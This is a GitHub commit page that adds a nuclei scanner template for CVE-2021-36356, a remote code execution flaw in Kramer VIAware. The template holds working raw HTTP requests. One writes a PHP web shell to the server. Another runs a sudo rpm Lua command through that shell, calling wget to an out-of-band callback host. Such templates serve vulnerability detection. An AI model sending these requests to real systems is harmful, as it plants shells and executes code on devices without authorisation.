Merge pull request #4273 from gy741/rule-add-v107

Create viaware-rce.yaml
patch-1
Prince Chaddha 2022-05-01 01:59:20 +05:30 committed by GitHub
commit 6f7fd36d38
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 31 additions and 0 deletions

View File

@ -0,0 +1,31 @@
id: CVE-2021-36356
info:
name: Kramer VIAware RCE
author: gy741
severity: critical
description: KRAMER VIAware through August 2021 allows remote attackers to execute arbitrary code because ajaxPages/writeBrowseFilePathAjax.php accepts arbitrary executable pathnames.
reference:
- https://www.exploit-db.com/exploits/50856
- https://nvd.nist.gov/vuln/detail/CVE-2021-36356
- https://nvd.nist.gov/vuln/detail/CVE-2021-35064
tags: rce,viaware,cve,cve2021,kramer
requests:
- raw:
- |
POST /ajaxPages/writeBrowseFilePathAjax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
radioBtnVal=%3C%3Fphp%0A++++++++if%28isset%28%24_GET%5B%27cmd%27%5D%29%29%0A++++++++%7B%0A++++++++++++system%28%24_GET%5B%27cmd%27%5D%29%3B%0A++++++++%7D%3F%3E&associateFileName=%2Fvar%2Fwww%2Fhtml%2F{{randstr}}.php
- |
GET /{{randstr}}.php?cmd=sudo%20rpm%20--eval%20'%25%7Blua:os.execute(%22wget%20http://{{interactsh-url}}%22)%7D' HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: interactsh_protocol
words:
- "http"